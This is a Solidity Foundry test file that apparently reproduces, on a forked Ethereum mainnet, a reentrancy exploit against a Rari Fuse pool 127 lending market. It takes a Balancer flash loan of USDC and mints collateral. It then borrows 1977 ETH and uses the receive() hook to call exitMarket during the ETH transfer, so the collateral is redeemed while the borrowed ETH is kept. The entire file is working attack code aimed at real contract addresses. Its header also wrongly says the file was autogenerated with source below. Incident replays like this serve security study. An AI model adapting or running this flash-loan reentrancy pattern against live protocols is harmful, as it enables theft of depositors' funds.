src/test/2022-04/Rari_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8contract ContractTest is Test {
9    IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
10 
11    ICEtherDelegate fETH_127 = ICEtherDelegate(payable(0x26267e41CeCa7C8E0f143554Af707336f27Fa051));
12 
13    ICErc20Delegate fusdc_127 = ICErc20Delegate(0xEbE0d1cb6A0b8569929e062d67bfbC07608f0A47);
14 
15    IUnitroller rari_Comptroller = IUnitroller(0x3f2D1BC6D02522dbcdb216b2e75eDDdAFE04B16F);
16 
17    IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
18    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
19 
20    function setUp() public {
21        cheats.createSelectFork("mainnet", 14_684_813); //fork mainnet at 14684813
22    }
23 
24    function testExploit() public {
25        emit log_named_uint("ETH Balance of fETH_127 before borrowing", address(fETH_127).balance / 1e18);
26 
27        payable(address(0)).transfer(address(this).balance);
28 
29        emit log_named_uint("ETH Balance after sending to blackHole", address(this).balance);
30 
31        address[] memory tokens = new address[](1);
32 
33        tokens[0] = address(usdc);
34 
35        uint256[] memory amounts = new uint256[](1);
36 
37        amounts[0] = 150_000_000 * 10 ** 6;
38 
39        vault.flashLoan(address(this), tokens, amounts, "");
40    }
41 
42    function receiveFlashLoan(
43        IERC20[] memory tokens,
44        uint256[] memory amounts,
45        uint256[] memory feeAmounts,
46        bytes memory userData
47    ) external {
48        tokens;
49        amounts;
50        feeAmounts;
51        userData;
52 
53        uint256 usdc_balance = usdc.balanceOf(address(this));
54        emit log_named_uint("Borrow USDC from balancer", usdc_balance);
55        usdc.approve(address(fusdc_127), type(uint256).max);
56 
57        fusdc_127.accrueInterest();
58 
59        fusdc_127.mint(15_000_000_000_000);
60 
61        uint256 fETH_Balance = fETH_127.balanceOf(address(this));
62 
63        emit log_named_uint("fETH Balance after minting", fETH_Balance);
64 
65        usdc_balance = usdc.balanceOf(address(this));
66 
67        emit log_named_uint("USDC balance after minting", usdc_balance);
68 
69        address[] memory ctokens = new address[](1);
70 
71        ctokens[0] = address(fusdc_127);
72 
73        rari_Comptroller.enterMarkets(ctokens);
74 
75        fETH_127.borrow(1977 ether);
76 
77        emit log_named_uint("ETH Balance of fETH_127_Pool after borrowing", address(fETH_127).balance / 1e18);
78 
79        emit log_named_uint("ETH Balance of me after borrowing", address(this).balance / 1e18);
80 
81        usdc_balance = usdc.balanceOf(address(this));
82 
83        fusdc_127.approve(address(fusdc_127), type(uint256).max);
84 
85        fusdc_127.redeemUnderlying(15_000_000_000_000);
86 
87        usdc_balance = usdc.balanceOf(address(this));
88 
89        emit log_named_uint("USDC balance after borrowing", usdc_balance);
90 
91        usdc.transfer(address(vault), usdc_balance);
92 
93        usdc_balance = usdc.balanceOf(address(this));
94 
95        emit log_named_uint("USDC balance after repayying", usdc_balance);
96    }
97 
98    receive() external payable {
99        rari_Comptroller.exitMarket(address(fusdc_127));
100    }
101}